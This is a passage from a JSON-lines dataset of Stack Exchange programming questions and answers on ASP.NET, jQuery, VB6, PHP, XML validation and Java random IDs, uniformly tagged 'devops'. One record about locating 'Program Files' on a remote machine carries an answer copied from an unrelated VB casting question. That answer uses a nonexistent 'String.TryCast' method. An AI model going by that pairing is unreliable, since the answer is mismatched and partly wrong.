methodologies\nI wouldn't call TDD an agile methodology by the way. It's an practice from XP but not a complete methodology per se.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.342641"}
{"id": "hf_38ff2699c8b2", "question": "<p>I need to determine if I'm on a particular view.  My use case is that I'd like to decorate navigation elements with an \"on\" class for the current view.  Is there a built in way of doing this?</p>\n", "question_body": "", "answer": "My current solution is with extension methods:\n```\n```\npublic static class UrlHelperExtensions\n{\n    /// <summary>\n    /// Determines if the current view equals the specified action\n    /// </summary>\n    /// <typeparam name=\"TController\">The type of the controller.</typeparam>\n    /// <param name=\"helper\">Url Helper</param>\n    /// <param name=\"action\">The action to check.</param>\n    /// <returns>\n    ///     <c>true</c> if the specified action is the current view; otherwise, <c>false</c>.\n    /// </returns>\n    public static bool IsAction<TController>(this UrlHelper helper, LambdaExpression action) where TController : Controller\n    {\n        MethodCallExpression call = action.Body as MethodCallExpression;\n        if (call == null)\n        {\n            throw new ArgumentException(\"Expression must be a method call\", \"action\");\n        }\n\n        return (call.Method.Name.Equals(helper.ViewContext.ViewName, StringComparison.OrdinalIgnoreCase) &&\n                typeof(TController) == helper.ViewContext.Controller.GetType());\n    }\n\n    /// <summary>\n    /// Determines if the current view equals the specified action\n    /// </summary>\n    /// <param name=\"helper\">Url Helper</param>\n    /// <param name=\"actionName\">Name of the action.</param>\n    /// <returns>\n    ///     <c>true</c> if the specified action is the current view; otherwise, <c>false</c>.\n    /// </returns>\n    public static bool IsAction(this UrlHelper helper, string actionName)\n    {\n        if (String.IsNullOrEmpty(actionName))\n        {\n            throw new ArgumentException(\"Please specify the name of the action\", \"actionName\");\n        }\n        string controllerName = helper.ViewContext.RouteData.GetRequiredString(\"controller\");\n        return IsAction(helper, actionName, controllerName);\n    }\n\n    /// <summary>\n    /// Determines if the current view equals the specified action\n    /// </summary>\n    /// <param name=\"helper\">Url Helper</param>\n    /// <param name=\"actionName\">Name of the action.</param>\n    /// <param name=\"controllerName\">Name of the controller.</param>\n    /// <returns>\n    ///     <c>true</c> if the specified action is the current view; otherwise, <c>false</c>.\n    /// </returns>\n    public static bool IsAction(this UrlHelper helper, string actionName, string controllerName)\n    {\n        if (String.IsNullOrEmpty(actionName))\n        {\n            throw new ArgumentException(\"Please specify the name of the action\", \"actionName\");\n        }\n        if (String.IsNullOrEmpty(controllerName))\n        {\n            throw new ArgumentException(\"Please specify the name of the controller\", \"controllerName\");\n        }\n\n        if (!controllerName.EndsWith(\"Controller\", StringComparison.OrdinalIgnoreCase))\n        {\n            controllerName = controllerName + \"Controller\";\n        }\n\n        bool isOnView = helper.ViewContext.ViewName.SafeEquals(actionName, StringComparison.OrdinalIgnoreCase);\n        return isOnView && helper.ViewContext.Controller.GetType().Name.Equals(controllerName, StringComparison.OrdinalIgnoreCase);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.366551"}
{"id": "hf_df470ef211c6", "question": "<p>Both the jQuery and Prototpye JavaScript libraries refuse to allow me to use a variable to select an list item element by index number although they accept a hard coded number. </p>\n\n<p>For example, in Prototype this works:</p>\n\n<pre><code>$$('li')[5].addClassName('active');\n</code></pre>\n\n<p>But this will not work no matter how I try to cast the variable as a number or integer:</p>\n\n<pre><code>$$('li')[currentPage].addClassName('active');\n</code></pre>\n\n<p>In jQuery I get similar weirdness. This will work:</p>\n\n<pre><code>jQuery('li').eq(5).addClass(\"active\");\n</code></pre>\n\n<p>But this will not work again even though the value of currentPage is 5 and its type is number:</p>\n\n<pre><code>jQuery('li').eq(currentPage).addClass(\"active\");\n</code></pre>\n\n<p>I'm trying to create a JavaScript pagination system and I need to set the class on the active page button. The list item elements are created dynamically depending upon the number of pages I need.</p>\n", "question_body": "", "answer": "Are you certain that\n```\ncurrentPage\n```\nis an integer? Try something like:\n```\n```\nvar currentPage = 5;\njQuery('li').eq(currentPage);\n```\n```\nas a simple sanity check. If that works, you should try casting to\n```\nInteger\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.425040"}
{"id": "hf_7f198d820f98", "question": "<p>I've been using PHP for too long, but I'm new to JavaScript integration in some places. </p>\n\n<p>I'm trying to find the fastest way to pass database information into a page where it can be modified and displayed dynamically in JavaScript. </p>\n\n<p>Right now, I'm looking at loading a <em>JSON with PHP</em> echo statements because it's fast and effective, but I saw that I could use PHP's JSON library (PHP 5.2). </p>\n\n<p><strong>Has anybody tried the new JSON library, and is it better than my earlier method?</strong></p>\n", "question_body": "", "answer": "Use the library. If you try to generate it manually, I predict with 99% certainty that the resulting text will be invalid in some way. Especially with more esoteric features like Unicode strings or exponential notation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.471771"}
{"id": "hf_c4da9ddffbe1", "question": "<p>What are they and what are they good for?</p>\n\n<p>I do not have a CS degree and my background is VB6 -> ASP -> ASP.NET/C#. Can anyone explain it in a clear and concise manner?</p>\n", "question_body": "", "answer": "Imagine if every single line in your program was a separate function. Each accepts, as a parameter, the next line/function to execute.\nUsing this model, you can \"pause\" execution at any line and continue it later. You can also do inventive things like temporarily hop up the execution stack to retrieve a value, or save the current execution state to a database to retrieve later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.506505"}
{"id": "hf_fd534ea6ca33", "question": "<p>I'm building an excel template (*.xlt) for a user here, and one of the things I want to do is have it insert the current date when a new document is created (ie, when they double-click the file in windows explorer).  How do I do this?</p>\n\n<p><strong>Update:</strong> I should have added that I would prefer not to use any vba (macro).  If that's the only option, then so be it, but I'd really like to avoid forcing my user to remember to click some 'allow macro content' button.</p>\n", "question_body": "", "answer": "You can edit the default template for excel -\nThere is a file called\n```\nBook.xlt\n```\nin the\n```\nXLSTART\n```\ndirectory, normally located at\n```\nC:\\Program Files\\Microsoft Office\\Office\\XLStart\\\n```\nYou should be able to add a macro called Workbook_Open\n```\n```\nPrivate Sub Workbook_Open()\n    If ActiveWorkBook.Sheets(1).Range(\"A1\") = \"\" Then\n        ActiveWorkBook.Sheets(1).Range(\"A1\") = Now\n    End If\nEnd Sub\n```\n```\nMy VBA is a little rusty, but you might find something like this works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.529524"}
{"id": "hf_af63b0282b62", "question": "<p>I've inherited a large VB6 app at my current workplace. I'm kinda learning VB6 on the job and there are a number of problems I'm having. The major issue at the moment is I can't figure out how to check if a key exists in a Collection object. Can anyone help?</p>\n", "question_body": "", "answer": "I've always done it with a function like this:\n```\n```\npublic function keyExists(myCollection as collection, sKey as string) as Boolean\n  on error goto handleerror:\n\n  dim val as variant\n\n  val = myCollection(sKey)\n  keyExists = true\n  exit sub\nhandleerror:\n  keyExists = false\nend function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.552765"}
{"id": "hf_1f90b92af54b", "question": "<p>I'm trying to find a way to validate a large XML file against an XSD. I saw the question <a href=\"https://stackoverflow.com/questions/15732/whats-the-best-way-to-validate-an-xml-file-against-an-xsd-file\">...best way to validate an XML...</a> but the answers all pointed to using the Xerces library for validation. The only problem is, when I use that library to validate a 180 MB file then I get an OutOfMemoryException.</p>\n\n<p>Are there any other tools,libraries, strategies for validating a larger than normal XML file?</p>\n\n<p>EDIT: The SAX solution worked for java validation, but the other two suggestions for the libxml tool were very helpful as well for validation  outside of java.</p>\n", "question_body": "", "answer": "Instead of using a DOMParser, use a SAXParser.  This reads from an input stream or reader so you can keep the XML on disk instead of loading it all into memory.\n```\n```\nSAXParserFactory factory = SAXParserFactory.newInstance();\nfactory.setValidating(true);\nfactory.setNamespaceAware(true);\n\nSAXParser parser = factory.newSAXParser();\n\nXMLReader reader = parser.getXMLReader();\nreader.setErrorHandler(new SimpleErrorHandler());\nreader.parse(new InputSource(new FileReader (\"document.xml\")));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.575909"}
{"id": "hf_897d28e727ae", "question": "<p>I'm maintaining some code that uses a *= operator in a query to a Sybase database and I can't find documentation on it.  Does anyone know what *= does?  I assume that it is some sort of a join.</p>\n\n<pre><code>select * from a, b where a.id *= b.id</code></pre>\n\n<p>I can't figure out how this is different from:</p>\n\n<pre><code>select * from a, b where a.id = b.id</code></pre>\n", "question_body": "", "answer": "It means outer join, a simple = means inner join.\n```\n```\n*= is LEFT JOIN and =* is RIGHT JOIN.\n```\n```\n(or vice versa, I keep forgetting since I'm not using it any more, and Google isn't helpful when searching for *=)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.599099"}
{"id": "hf_524767e27c73", "question": "<p>After test driving Google Chrome for 30 minutes or so, I like it, even if it seems bare-bones at the moment.  The obvious way to add a few things I can't live without would be through plugins.  Does anyone have any links to resources on how to get started building a plugin/addon for Chrome?  Thanks.</p>\n", "question_body": "", "answer": "Chrome does support the netscape plugin api, but that is for displaying certain kinds of content.\nYou seem to be after a extention api, really firefox is the only major browser to encourage and support third party extentions to browsing capability (that aren't simply new toolbars)\nNothing in the developer documentation points to a browser enhancing api - google seem to want to keep a tight reign on the look and feel of the application.\nYou might find a more conclusive answer on the development site:\ndev.chromium.org, and some of the developers might be on irc on #chromium on freenode.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.633887"}
{"id": "hf_0e4b5bc494f9", "question": "<p>Is it possible to create a REST web service using ASP.NET 2.0?  The articles and blog entries I am finding all seem to indicate that ASP.NET 3.5 with WCF is required to create REST web services with ASP.NET.</p>\n\n<p>If it is possible to create REST web services in ASP.NET 2.0 can you provide an example.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I'm only just beginning to use them, but from what I've seen 2.0 pretty assumes SOAP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.657037"}
{"id": "hf_f974452efc01", "question": "<p>It will be important for developers wanting to develop for the chrome browser to be able to review existing bugs (to avoid too much pulling-out of hair), and to add new ones (to improve the thing).  Yet I can't seem to find the bug tracking for this project.  It <em>is</em> open source, right?</p>\n", "question_body": "", "answer": "From the\nGoogle Site\nClick the Page menu page menu.\nSelect Report a bug or broken website.\nChoose an issue type from the drop-down menu. The web address of the webpage you're on is recorded automatically.\nIf possible, add key details in the 'Description' field, including steps to reproduce the issue you're experiencing.\nKeep 'Send source of current page' and 'Send screenshot of current page' checkboxes selected.\nClick the Send report button to report a Google Chrome bug.\nI don't see any reference to public bug tracking...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.680093"}
{"id": "hf_06b985b95826", "question": "<p>Although the general case is undecidable, many people still do solve problems that are equivilent well enough for day to day use.</p>\n\n<p>In cohen's phd thesis on computer viruses, he showed how virus scanning is equivilent to the halting problem, yet we have an entire industry based around this challenge.</p>\n\n<p>I also have seen microsoft's terminator project -  <a href=\"http://research.microsoft.com/Terminator/\" rel=\"noreferrer\">http://research.microsoft.com/Terminator/</a> </p>\n\n<p>Which leads me to ask - is the halting problem overrated - do we need to worry about the general case?</p>\n\n<p>Will types become turing complete over time - dependant types do seem like a good development?</p>\n\n<p>Or, to look the other way, will we begin to use non turing complete languages to gain the benefits of static analysis ?</p>\n", "question_body": "", "answer": "The Halting Problem is really only interesting if you look at it in the general case, since if the Halting problem were decidable, all other undecidable problems would also be decidable via reduction.\nSo, my opinion on this question is, no, it is not easy in the cases that matter.  That said, in the real world, it may not be such a big deal.\nSee also:\nhttp://en.wikipedia.org/wiki/Halting_problem#Importance_and_consequences", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.715518"}
{"id": "hf_c4e058087196", "question": "<p>How do you give a C# auto-property an initial value?</p>\n\n<p>I either use the constructor, or revert to the old syntax. </p>\n\n<p><strong> Using the Constructor:</strong></p>\n\n<pre><code>class Person \n{\n    public Person()\n    {\n        Name = \"Initial Name\";\n    }\n    public string Name { get; set; }\n}\n</code></pre>\n\n<p><strong>Using normal property syntax</strong>  (with an initial value)</p>\n\n<pre><code>private string name = \"Initial Name\";\npublic string Name \n{\n    get \n    {\n        return name;\n    }\n    set\n    {\n        name = value;\n    }\n}\n</code></pre>\n\n<p>Is there a better way?</p>\n", "question_body": "", "answer": "Have you tried using the\nDefaultValueAttribute\nor\nShouldSerialize and Reset methods\nin conjunction with the constructor?  I feel like one of these two methods is necessary if you're making a class that might show up on the designer surface or in a property grid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.765576"}
{"id": "hf_2a44b12a4d16", "question": "<p>I am setting the <code>.Content</code> value of a Label to a string that contains underscores; the first underscore is being interpreted as an accelerator key.</p>\n\n<p>Without changing the underlying string (by replacing all <code>_</code> with <code>__</code>), is there a way to disable the accelerator for Labels?</p>\n", "question_body": "", "answer": "You could override the RecognizesAccessKey property of the ContentPresenter that is in the default template for the label. For example:\n```\n```\n<Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\n  <Grid>\n    <Grid.Resources>\n      <Style x:Key=\"{x:Type Label}\" BasedOn=\"{StaticResource {x:Type Label}}\" TargetType=\"Label\">\n        <Setter Property=\"Template\">\n          <Setter.Value>\n            <ControlTemplate TargetType=\"Label\">\n              <Border>\n                <ContentPresenter\n                  HorizontalAlignment=\"{TemplateBinding HorizontalContentAlignment}\"\n                  VerticalAlignment=\"{TemplateBinding VerticalContentAlignment}\"\n                  RecognizesAccessKey=\"False\" />\n              </Border>\n            </ControlTemplate>\n          </Setter.Value>\n        </Setter>\n      </Style>\n    </Grid.Resources>\n    <Label>_This is a test</Label>\n  </Grid>\n</Page>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.788909"}
{"id": "hf_fee42afb7e00", "question": "<p><a href=\"https://stackoverflow.com/questions/32230/tracking-down-where-disk-space-has-gone-on-linux\">In this question</a> someone asked for ways to display disk usage in Linux. I'd like to take this one step further down the cli-path... how about a shell script that takes the output from something like a reasonable answer to the previous question and generates a graph/chart from it (output in a png file or something)? This may be a bit too much code to ask for in a regular question, but my guess is that someone already has a oneliner laying around somewhere...</p>\n", "question_body": "", "answer": "I guess there are a couple of options:\nFor a pure CLI solution, use something like gnuplot. See\nhere\nfor example usage. I haven't used gnuplot since my student days :-)\nNot really a pure CLI solution, but download something like\nJFreeChart\nand write a simple Java app that reads stdin and creates your chart.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.823431"}
{"id": "hf_5b3575e0d237", "question": "<p>Are all of these equal?  Under what circumstances should I choose each over the others?</p>\n\n<ul>\n<li><p>var.ToString()</p></li>\n<li><p>CStr(var)</p></li>\n<li><p>CType(var, String)</p></li>\n<li><p>DirectCast(var, String)</p></li>\n</ul>\n\n<hr>\n\n<p><em>EDIT: Suggestion from <strong><a href=\"https://stackoverflow.com/users/303/notmyself\">NotMyself</a></strong>&hellip;</em></p>\n\n<ul>\n<li>TryCast(var, String)</li>\n</ul>\n", "question_body": "", "answer": "I prefer the following syntax:\n```\n```\nDim number As Integer = 1\nDim str As String = String.TryCast(number)\n\nIf str IsNot Nothing Then\n```\n```\nHah you can tell I typically write code in C#. 8)\nThe reason I prefer TryCast is you do not have to mess with the overhead of casting exceptions. Your cast either succeeds or your variable is initialized to null and you deal with that accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.846813"}
{"id": "hf_d79b6dba00b2", "question": "<p>How do I determine the (local-) path for the \"Program Files\" directory on a remote computer? There does not appear to any version of SHGetFolderPath (or related function) that takes the name of a remote computer as a parameter.</p>\n\n<p>I guess I could try to query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProgramFilesDir using remote-registry, but I was hoping there would be \"documented\" way of doing it.</p>\n", "question_body": "", "answer": "I prefer the following syntax:\n```\n```\nDim number As Integer = 1\nDim str As String = String.TryCast(number)\n\nIf str IsNot Nothing Then\n```\n```\nHah you can tell I typically write code in C#. 8)\nThe reason I prefer TryCast is you do not have to mess with the overhead of casting exceptions. Your cast either succeeds or your variable is initialized to null and you deal with that accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.870115"}
{"id": "hf_17a608e0d848", "question": "<p>I'd like to keep a \"compile-counter\" for one of my projects. I figured a quick and dirty way to do this would be to keep a text file with a plain number in it, and then simply call upon a small script to increment this each time I compile.</p>\n\n<p>How would I go about doing this using the regular Windows command line?</p>\n\n<p>I don't really feel like installing some extra shell to do this but if you have any other super simple suggestions that would accomplish just this, they're naturally appreciated as well.</p>\n", "question_body": "", "answer": "It would be an new shell (but I think it is worth it), but from PowerShell it would be\n```\n```\n[int](get-content counter.txt) + 1 | out-file counter.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.917176"}
{"id": "hf_3cc0a309ba89", "question": "<p>If I have an HTML helper like so:</p>\n\n<pre><code>Name:&lt;br /&gt;\n&lt;%=Html.TextBox(\"txtName\",20) %&gt;&lt;br /&gt;\n</code></pre>\n\n<p>How do I apply a CSS class to it? Do I have to wrap it in a span? Or do I need to somehow utilize the HtmlAttributes property of the helper?</p>\n", "question_body": "", "answer": "You can pass it into the TextBox call as a parameter.\n```\n```\nName:<br/>    \n<%= Html.TextBox(\"txtName\", \"20\", new { @class = \"hello\" }) %>\n```\n```\nThis line will create a text box with the value 20 and assign the class attribute with the value hello.  I put the @ character in front of the class, because class is a reserved keyword.  If you want to add other attributes, just separate the key/value pairs with commas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:30.951936"}
{"id": "hf_ec4ae3d71767", "question": "<p>Is there an IDE that I can load on a Blackberry, E71, or an iPhone?</p>\n", "question_body": "", "answer": "Not that I know of, typically you'll develop apps on a desktop machine (PC/MAC whatever) and download/control the application on the phone. Also I don't think Java is available on a standard (non-cracked) iPhone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.009367"}
{"id": "hf_83b89a94464e", "question": "<p>What code do you need to add in PHP to automatically have the browser download a file to the local machine when a link is visited?</p>\n\n<p>I am specifically thinking of functionality similar to that of download sites that prompt the user to save a file to disk once you click on the name of the software?</p>\n", "question_body": "", "answer": "Here is an example of sending back a pdf.\n```\n```\nheader('Content-type: application/pdf');\nheader('Content-Disposition: attachment; filename=\"' . basename($filename) . '\"');\nheader('Content-Transfer-Encoding: binary');\nreadfile($filename);\n```\n```\n@Swish\nI didn't find application/force-download content type to do anything different (tested in IE and Firefox). Is there a reason for not sending back the actual MIME type?\nAlso in the PHP manual\nHayley Watson\nposted:\nIf you wish to force a file to be downloaded and saved, instead of being rendered, remember that there is no such MIME type as \"application/force-download\". The correct type to use in this situation is \"application/octet-stream\", and using anything else is merely relying on the fact that clients are supposed to ignore unrecognised MIME types and use \"application/octet-stream\" instead (reference: Sections 4.1.4 and 4.5.1 of RFC 2046).\nAlso according\nIANA\nthere is no registered application/force-download type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.116844"}
{"id": "hf_2c6d415f7d15", "question": "<p>Do you know if it's possible to build an application for the LinkedIn platform?</p>\n", "question_body": "", "answer": "Yes, Linkedin has an API:\nhttp://www.programmableweb.com/api/linkedin\nhttp://blog.linkedin.com/blog/2007/12/the-intelligent.html\nSo you could build an application that uses it.\nUpdate:\n(\nfrom second link\n)\nWe’ll be phasing all of this in over the coming months and to get involved with the Intelligent Application Platform either for APIs, widgets, or hosted applications, send us an e-mail to\ndevelopers@linkedin.com\ntelling us what you want to build and what you need to build it.\nSince there are published Mashups using LinkedIn I would assume that means you can use the API even if the documentation isn't readily available.\nAs a tip, in the future include links to what you found that didn't work, so we know not to give it to you again.\nI poked around a bit more and I found some\nmore on their widgets\nwhich appears to be the main focus of their API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.175091"}
{"id": "hf_992279257b0d", "question": "<p>Grails makes it very easy to configure datasources for different environments (development, test, production) in its DataSources.groovy file, but there seems to be no facility for configuring multiple datasources in one environment. What to I do if I need to access several databases from the same Grails application?</p>\n", "question_body": "", "answer": "The following post seems to be the best source of information on the subject:\nHow to get mutli-dataSource in grails\nIt boils down to:\nDefine datasource1 in DevelopmentDataSource\nDefine datasource2 in resources.xml\nWrite a DAO for CRUD of the domain objects using datasource2\nIn hibernate.cfg.xml, list all domain objects.\nOnly the first datasource will have dynamic finder methods.\nIf its a really simple query you are after and don't mind not having the ORM features you could use Groovy SQL or the native SQL features of Hibernate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.248667"}
{"id": "hf_0201c4eafbc1", "question": "<p>I've been looking for a <em>simple</em> Java algorithm to generate a pseudo-random alpha-numeric string.  In my situation it would be used as a unique session/key identifier that would \"likely\" be unique over <code>500K+</code> generation (my needs don't really require anything much more sophisticated).  </p>\n\n<p>Ideally, I would be able to specify a length depending on my uniqueness needs. For example, a generated string of length 12 might look something like <code>\"AEYGF7K0DM1X\"</code>.  </p>\n", "question_body": "", "answer": "Algorithm\nTo generate a random string, concatenate characters drawn randomly from the set of acceptable symbols until the string reaches the desired length.\nImplementation\nHere's some fairly simple and very flexible code for generating random identifiers.\nRead the information that follows\nfor important application notes.\n```\n```\npublic class RandomString {\n\n    /**\n     * Generate a random string.\n     */\n    public String nextString() {\n        for (int idx = 0; idx < buf.length; ++idx)\n            buf[idx] = symbols[random.nextInt(symbols.length)];\n        return new String(buf);\n    }\n\n    public static final String upper = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n    public static final String lower = upper.toLowerCase(Locale.ROOT);\n\n    public static final String digits = \"0123456789\";\n\n    public static final String alphanum = upper + lower + digits;\n\n    private final Random random;\n\n    private final char[] symbols;\n\n    private final char[] buf;\n\n    public RandomString(int length, Random random, String symbols) {\n        if (length < 1) throw new IllegalArgumentException();\n        if (symbols.length() < 2) throw new IllegalArgumentException();\n        this.random = Objects.requireNonNull(random);\n        this.symbols = symbols.toCharArray();\n        this.buf = new char[length];\n    }\n\n    /**\n     * Create an alphanumeric string generator.\n     */\n    public RandomString(int length, Random random) {\n        this(length, random, alphanum);\n    }\n\n    /**\n     * Create an alphanumeric strings from a secure generator.\n     */\n    public RandomString(int length) {\n        this(length, new SecureRandom());\n    }\n\n    /**\n     * Create session identifiers.\n     */\n    public RandomString() {\n        this(21);\n    }\n\n}\n```\n```\nUsage examples\nCreate an insecure generator for 8-character identifiers:\n```\n```\nRandomString gen = new RandomString(8, ThreadLocalRandom.current());\n```\n```\nCreate a secure generator for session identifiers:\n```\n```\nRandomString session = new RandomString();\n```\n```\nCreate a generator with easy-to-read codes for printing. The strings are longer than full alphanumeric strings to compensate for using fewer symbols:\n```\n```\nString easy = RandomString.digits + \"ACEFGHJKLMNPQRUVWXYabcdefhijkprstuvwx\";\nRandomString tickets = new RandomString(23, new SecureRandom(), easy);\n```\n```\nUse as session identifiers\nGenerating session identifiers that are likely to be unique is not good enough, or you could just use a simple counter. Attackers hijack sessions when predictable identifiers are used.\nThere is tension between length and security. Shorter identifiers are easier to guess, because there are fewer possibilities. But longer identifiers consume more storage and bandwidth. A larger set of symbols helps, but might cause encoding problems if identifiers are included in URLs or re-entered by hand.\nThe underlying source of randomness, or entropy, for session identifiers should come from a random number generator designed for cryptography. However, initializing these generators can sometimes be computationally expensive or slow, so effort should be made to re-use them when possible.\nUse as object identifiers\nNot every application requires security. Random assignment can be an efficient way for multiple entities to generate identifiers in a shared space without any coordination or partitioning. Coordination can be slow, especially in a clustered or distributed environment, and splitting up a space causes problems when entities end up with shares that are too small or too big.\nIdentifiers generated without taking measures to make them unpredictable should be protected by other means if an attacker might be able to view and manipulate them, as happens in most web applications. There should be a separate authorization system that protects objects whose identifier can be guessed by an attacker without access permission.\nCare must be also be taken to use identifiers that are long enough to make collisions unlikely given the anticipated total number of identifiers. This is referred to as \"the birthday paradox.\"\nThe probability of a collision,\np\n, is approximately n\n2\n/(2q\nx\n), where\nn\nis the number of identifiers actually generated,\nq\nis the number of distinct symbols in the alphabet, and\nx\nis the length of the identifiers. This should be a very small number, like 2\n‑50\nor less.\nWorking this out shows that the chance of collision among 500k 15-character identifiers is about 2\n‑52\n, which is probably less likely than undetected errors from cosmic rays, etc.\nComparison with UUIDs\nAccording to their specification,\nUUIDs\nare not designed to be unpredictable, and\nshould not\nbe used as session identifiers.\nUUIDs in their standard format take a lot of space: 36 characters for only 122 bits of entropy. (Not all bits of a \"random\" UUID are selected randomly.) A randomly chosen alphanumeric string packs more entropy in just 21 characters.\nUUIDs are not flexible; they have a standardized structure and layout. This is their chief virtue as well as their main weakness. When collaborating with an outside party, the standardization offered by UUIDs may be helpful. For purely internal use, they can be inefficient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:31.365649"}
